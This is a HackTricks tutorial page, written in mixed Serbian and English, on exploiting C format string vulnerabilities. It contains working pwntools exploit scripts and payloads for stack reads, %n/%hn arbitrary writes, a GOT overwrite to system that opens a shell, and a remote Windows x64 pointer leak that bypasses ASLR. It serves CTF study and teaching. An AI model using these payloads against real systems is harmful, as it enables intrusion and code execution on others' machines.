Format Strings
Reading time: 11 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
U C printf
je funkcija koja može da se koristi za ispis niza znakova. The first parameter this function expects is the raw text with the formatters. The following parameters expected are the values to substitute the formatters from the raw text.
Ostale ranjive funkcije su sprintf()
i fprintf()
.
Ranljivost se pojavljuje kada se kao prvi argument koristi tekst napadača za ovu funkciju. Napadač će moći da kreira poseban unos koji zloupotrebljava mogućnosti printf format stringa da čita i piše bilo koje podatke na bilo koju adresu (readable/writable). Na ovaj način može izvršiti proizvoljan kod.
Format specifieri:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Primeri:
- Ranljiv primer:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normalna upotreba:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Sa nedostajućim argumentima:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf ranjiv:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Pristup pokazivačima
Format %<n>$x
, gde je n
broj, omogućava printf-u da odabere n-ti parametar (from the stack). Dakle, ako želite da pročitate 4. parametar sa stack-a koristeći printf, možete uraditi:
printf("%x %x %x %x")
i pročitali biste od prvog do četvrtog parametra.
Ili biste mogli uraditi:
printf("%4$x")
i direktno pročitati četvrti.
Obratite pažnju da napadač kontroliše printf
parametar, što u suštini znači da njegov ulaz će biti u stack-u kada se pozove printf
, što znači da bi mogao upisati specifične memory addresses u stacku.
caution
Napadač koji kontroliše ovaj ulaz biće u mogućnosti da add arbitrary address in the stack and make printf
access them. U sledećem odeljku biće objašnjeno kako iskoristiti ovo ponašanje.
Arbitrary Read
Moguće je koristiti formatter %n$s
da natera printf
da pročita address koji se nalazi na n poziciji, sledi ga i odštampa kao da je string (štampa dok se ne naiđe na 0x00). Dakle, ako je base address of the binary 0x8048000
, i znamo da user input počinje na 4. poziciji u stack-u, moguće je odštampati početak binary-a sa:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Imajte na umu da ne možete staviti adresu 0x8048000 na početak unosa jer će string biti prekinut na 0x00 na kraju te adrese.
Pronađite offset
Da biste pronašli offset do vašeg unosa, možete poslati 4 ili 8 bajta (0x41414141
) praćena sa %1$x
i povećavati vrednost dok ne dobijete A's
.
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Koliko je korisno
Arbitrary reads mogu biti korisni za:
- Dump the binary from memory
- Pristup određenim delovima memory gde se čuva osetljiva info (kao canaries, encryption keys ili custom passwords kao u ovom CTF challenge)
Arbitrary Write
Formatter %<num>$n
upisuje broj napisanih bajtova u označenu adresu u %<num>$n
da upiše proizvoljan broj na proizvoljnu adresu.
Srećom, da bi se upisao broj 9999, nije potrebno dodavati 9999 "A"-ova u input; umesto toga moguće je koristiti formatter %.<num-write>%<num>$n
da se upiše broj <num-write>
u adresu na koju pokazuje pozicija num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Imajte na umu da se obično, da bi se upisala adresa kao što je 0x08049724
(što je OGROMAN broj za upis odjednom), umesto $n
koristi $hn
. To omogućava da se upišu samo 2 bajta. Zbog toga se operacija izvodi dva puta: jednom za gornja 2B adrese i drugi put za donja.
Dakle, ova ranjivost omogućava da se upiše bilo šta na bilo koju adresu (arbitrary write).
U ovom primeru cilj će biti da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako bi se za ovo mogle iskoristiti i druge arbitrary write to exec tehnike:
Prepišemo funkciju koja prima argumente od korisnika i usmerimo je na system
funkciju.
Kao što je pomenuto, za upis adrese obično su potrebna 2 koraka: prvo se upišu 2 bajta adrese, a zatim druga 2. Za to se koristi $hn
.
- HOB se odnosi na 2 viša bajta adrese
- LOB se odnosi na 2 niža bajta adrese
Zatim, zbog načina na koji format string radi, prvo treba upisati manji od [HOB, LOB] a zatim drugi.
If HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
If HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools predložak
Možete pronaći predložak za pripremu exploit-a za ovu vrstu ranjivosti u:
Ili ovaj osnovni primer sa here:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings u BOF
Moguće je zloupotrebiti write akcije format string ranjivosti kako bi se izvršio write in addresses of the stack i iskoristio buffer overflow tip ranjivosti.
Windows x64: Format-string leak za zaobilaženje ASLR (no varargs)
Na Windows x64 prva četiri integer/pointer parametra se prosleđuju u registre: RCX, RDX, R8, R9. U mnogim buggy call-site-ovima niz koji kontroliše napadač koristi se kao format argument, ali nijedni varargs nisu prosleđeni, na primer:
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
Pošto se ne prosleđuju varargs, bilo koja konverzija kao što su "%p", "%x", "%s" nateraće CRT da pročita sledeći variadic argument iz odgovarajućeg registra. Sa Microsoft x64 calling convention prvo takvo čitanje za "%p" dolazi iz R9. Bilo koja privremena vrednost koja se nalazi u R9 na mestu poziva biće odštampana. U praksi to često izaziva leak stabilnog in-module pointera (npr. pointer na lokalni/globalni objekat prethodno postavljen u R9 od strane okolnog koda ili vrednost sačuvana po pozivatelju), koji se može koristiti za oporavak module base i obilaženje ASLR.
Praktični tok rada:
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
- Zabeleži the leaked pointer, identifikuj statički offset tog objekta unutar modula (by reversing once with symbols or a local copy), i oporavi image base kao
leak - known_offset
. - Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
Example (abbreviated python):
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
Beleške:
- Tačan offset koji treba oduzeti se pronađe jednom tokom local reversing i zatim se ponovo koristi (isti binary/version).
- Ako "%p" ne ispiše validan pointer pri prvom pokušaju, probajte druge specifiere ("%llx", "%s") ili više konverzija ("%p %p %p") da biste uzorkovali druge argument registers/stack.
- Ovaj obrazac je specifičan za Windows x64 calling convention i printf-family implementacije koje uzimaju nepostojeće varargs iz registara kada ih format string zahteva.
Ova tehnika je izuzetno korisna za bootstrap ROP na Windows servisima kompajliranim sa ASLR i bez očiglednih memory disclosure primitives.
Ostali primeri & reference
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, osnovna upotreba format strings za leak the flag sa stack-a (no need to alter the execution flow)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string za overwrite adresu
fflush
sa win funkcijom (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string za upis adrese unutar main u
.fini_array
(tako da se flow vrati još 1 put) i za upis adresesystem
u GOT tabelu koja trenutno pokazuje nastrlen
. Kada se flow vrati u main,strlen
će biti izvršen sa korisničkim inputom i, pošto pokazuje nasystem
, izvršiće prosleđene komande.
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.